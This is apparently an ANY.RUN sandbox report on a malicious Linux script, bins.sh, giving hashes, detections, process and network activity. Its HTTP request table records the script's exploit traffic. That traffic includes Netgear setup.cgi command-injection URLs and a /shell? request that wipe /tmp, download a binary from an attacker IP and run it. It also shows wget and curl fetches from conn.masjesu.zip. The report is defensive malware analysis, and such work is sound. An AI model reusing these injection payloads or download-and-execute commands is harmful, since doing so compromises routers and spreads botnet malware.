Malware analysis bins.sh Malicious activity | ANY.RUN

Add for printing

File name:	bins.sh
Full analysis:	https://app.any.run/tasks/cf7bd6bc-b370-4ea8-9776-00e0c866c912
Verdict:	Malicious activity
Analysis date:	December 14, 2024, 11:08:47
OS:	Ubuntu 22.04.2 LTS
Tags:	exploit
Indicators:
MIME:	text/x-shellscript
File info:	Bourne-Again shell script, ASCII text executable, with very long lines (417)
MD5:	729ADD2E282859E4FF057A323D011807
SHA1:	C0A1BFA5E5BE44990D460D307FE39169DC04B42D
SHA256:	559BFBBA2B57D33718AED80A7B7CCC28F5D26B76C41436A141AC1DAB3A5D29BF
SSDEEP:	96:YG2OyzyPynoWuepCLPCTmPhu3uLub80ZUTvyKtt1A8pZxQvLzPzjzOhpmCLSq0pO:uCYzrvAE1cFNq/jrlveI+FNq/jG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Add for printing

MALICIOUS
- EXPLOIT has been detected (SURICATA)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38943)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38944)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38966)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38963)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38975)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38967)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38971)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38962)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38953)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38970)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38952)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38976)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38980)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38983)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38987)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38984)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38988)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38991)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39003)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38979)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38992)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39004)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38995)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39008)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39013)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39007)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38996)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39000)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38999)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39014)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39018)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39022)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38949)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39017)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39023)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38948)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39027)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39026)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39034)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39035)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39038)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39044)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39048)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39047)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39055)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39051)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39052)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39056)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39065)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39064)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39060)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39030)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39031)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39043)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38974)
SUSPICIOUS
- Executes the "rm" command to delete files or directories
  - bash (PID: 38751)
- Potential Corporate Privacy Violation
  - wget (PID: 38754)
  - wget (PID: 38809)
  - wget (PID: 38843)
  - busybox (PID: 38838)
  - busybox (PID: 38795)
- Modifies file or directory owner
  - sudo (PID: 38747)
- Executes commands using command-line interpreter
  - sudo (PID: 38750)
- Uses wget to download content
  - bash (PID: 38751)
- Connects to unusual port
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38863)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38864)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38867)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38869)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38865)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38868)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38880)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38875)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38870)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38866)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38872)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38876)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38877)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38871)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38874)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38882)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38873)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38881)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38879)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38878)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38884)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38886)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38887)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38883)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38885)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38896)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38894)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38895)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38893)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38890)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38888)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38899)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38898)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38897)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38889)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38900)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38901)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38892)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38891)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38902)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38904)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38903)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38905)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38906)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38908)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38912)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38909)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38911)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38917)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38913)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38914)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38907)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38910)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38915)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38916)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38921)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38923)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38918)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38922)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38920)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38919)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38925)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38929)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38933)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38926)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38932)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38927)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38930)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38934)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38931)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38924)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38928)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38974)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38941)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38936)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38938)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38940)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38935)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38939)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38937)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39011)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39021)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39042)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 38942)
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted) (PID: 39063)
- Connects to the server without a host name
  - xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (PID: 38805)
INFO
No info indicators.

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Add for printing

No Malware configuration.

Add for printing

TRiD

.sh	\|	Linux/UNIX shell script (100)

No data.

Add for printing

All screenshots are available in the full report

Add for printing

Total processes

446

Monitored processes

238

Malicious processes

141

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
38746	/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "	/usr/bin/dash	—	any-guest-agent
User: root Integrity Level: UNKNOWN
38747	sudo chown user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38748	chown user /tmp/bins.sh	/usr/bin/chown	—	sudo
User: root Integrity Level: UNKNOWN Exit code: 0
38749	chmod +x /tmp/bins.sh	/usr/bin/chmod	—	dash
User: root Integrity Level: UNKNOWN Exit code: 0
38750	sudo -iu user /tmp/bins.sh	/usr/bin/sudo	—	dash
User: root Integrity Level: UNKNOWN
38751	/bin/bash /tmp/bins.sh	/usr/bin/bash	—	sudo
User: user Integrity Level: UNKNOWN
38752	/usr/bin/locale-check C.UTF-8	/usr/bin/locale-check	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0
38753	/bin/rm bins.sh	/usr/bin/rm	—	bash
User: user Integrity Level: UNKNOWN Exit code: 256
38754	wget http://conn.masjesu.zip/bins/xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw	/usr/bin/wget		bash
User: user Integrity Level: UNKNOWN Exit code: 0
38755	curl -O http://conn.masjesu.zip/bins/xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw	/snap/snapd/20290/usr/bin/snap	—	bash
User: user Integrity Level: UNKNOWN Exit code: 0

Add for printing

Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
38754	wget	/home/user/xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw		o
		MD5:—	SHA256:—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Add for printing

HTTP(S) requests

TCP/UDP connections

14 631

DNS requests

Threats

133

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
—	—	GET	200	37.44.238.68:80	http://conn.masjesu.zip/bins/xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw	unknown	—	—	—
38843	wget	GET	200	87.121.86.228:80	http://conn.masjesu.zip/bins/VItKWUC1D8znER1dGKk1hzbCnbLHWGSDBs	unknown	—	—	—
38944	xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted)	GET	404	37.83.91.220:80	http://37.83.91.220:80/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://37.44.238.68/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	unknown	—	—	—
38795	busybox	GET	—	37.44.238.68:80	http://conn.masjesu.zip/bins/xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw	unknown	—	—	—
38949	xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted)	GET	—	34.110.165.152:80	http://34.110.165.152:80/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://37.44.238.68/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	unknown	—	—	—
38809	wget	GET	200	87.121.86.228:80	http://conn.masjesu.zip/bins/8wI05uEFBjYQYNZuAH90YLaZ6RvMKpiFIV	unknown	—	—	—
—	—	GET	204	185.125.190.17:80	http://connectivity-check.ubuntu.com/	unknown	—	—	whitelisted
38838	busybox	GET	—	87.121.86.228:80	http://conn.masjesu.zip/bins/8wI05uEFBjYQYNZuAH90YLaZ6RvMKpiFIV	unknown	—	—	—
38951	xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted)	GET	—	34.110.165.152:80	http://34.110.165.152:80/shell?cd+/tmp;rm+-rf+*;wget+http://37.44.238.68/l7vmra;chmod+777+l7vmra;/tmp/l7vmra	unknown	—	—	—
38963	xhC5roH6t4VhgYxFmXsWbAC3cI2nys7xxw (deleted)	GET	400	23.198.185.68:80	http://23.198.185.68:80/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://37.44.238.68/spim+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	unknown	—	—	—

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
—	—	185.125.190.97:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
484	avahi-daemon	224.0.0.251:5353	—	—	—	unknown
—	—	185.125.190.17:80	connectivity-check.ubuntu.com	Canonical Group Limited	GB	whitelisted
—	—	169.150.255.184:443	odrs.gnome.org	—	GB	whitelisted
38754	wget	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
512	snapd	185.125.188.59:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
512	snapd	185.125.188.58:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
—	—	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown
512	snapd	185.125.188.54:443	api.snapcraft.io	Canonical Group Limited	GB	whitelisted
38795	busybox	37.44.238.68:80	conn.masjesu.zip	Harmony Hosting SARL	FR	unknown

DNS requests

Domain	IP	Reputation
google.com	142.250.185.110 2a00:1450:4001:829::200e	whitelisted
connectivity-check.ubuntu.com	185.125.190.17 185.125.190.97 185.125.190.49 185.125.190.18 185.125.190.48 185.125.190.96 185.125.190.98 91.189.91.49 91.189.91.98 91.189.91.97 91.189.91.96 91.189.91.48 2620:2d:4000:1::22 2001:67c:1562::23 2620:2d:4000:1::2b 2620:2d:4000:1::2a 2620:2d:4000:1::97 2620:2d:4000:1::96 2001:67c:1562::24 2620:2d:4002:1::196 2620:2d:4002:1::198 2620:2d:4000:1::98 2620:2d:4002:1::197 2620:2d:4000:1::23	whitelisted
odrs.gnome.org	169.150.255.184 212.102.56.178 37.19.194.81 195.181.170.19 195.181.175.41 169.150.255.180 207.211.211.27 2a02:6ea0:c700::18 2a02:6ea0:c700::11 2a02:6ea0:c700::112 2a02:6ea0:c700::21 2a02:6ea0:c700::19 2a02:6ea0:c700::107 2a02:6ea0:c700::101	whitelisted
conn.masjesu.zip	37.44.238.68 87.121.86.228	unknown
api.snapcraft.io	185.125.188.59 185.125.188.54 185.125.188.55 185.125.188.58 2620:2d:4000:1010::6d 2620:2d:4000:1010::42 2620:2d:4000:1010::117 2620:2d:4000:1010::2e6	whitelisted
55.100.168.192.in-addr.arpa	—	unknown

Threats

PID	Process	Class	Message
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO HTTP Request to a *.zip Domain
—	—	Misc Attack	ET CINS Active Threat Intelligence Poor Reputation IP group 38
—	—	Misc Attack	ET COMPROMISED Known Compromised or Hostile Host Traffic group 18
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Misc activity	ET INFO HTTP Request to a *.zip Domain
—	—	Misc activity	ET INFO Observed DNS Query to .zip TLD
—	—	Potential Corporate Privacy Violation	ET POLICY Executable and linking format (ELF) file download Over HTTP

1 ETPRO signatures available at the full report

Add for printing

No debug info

General Info

bins.sh

729ADD2E282859E4FF057A323D011807

C0A1BFA5E5BE44990D460D307FE39169DC04B42D

559BFBBA2B57D33718AED80A7B7CCC28F5D26B76C41436A141AC1DAB3A5D29BF

96:YG2OyzyPynoWuepCLPCTmPhu3uLub80ZUTvyKtt1A8pZxQvLzPzjzOhpmCLSq0pO:uCYzrvAE1cFNq/jrlveI+FNq/jG

Software environment set and analysis options

Launch configuration

Software preset

Behavior activities

MALICIOUS

EXPLOIT has been detected (SURICATA)

SUSPICIOUS

Executes the "rm" command to delete files or directories

Potential Corporate Privacy Violation

Modifies file or directory owner

Executes commands using command-line interpreter

Uses wget to download content

Connects to unusual port

Connects to the server without a host name

INFO

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings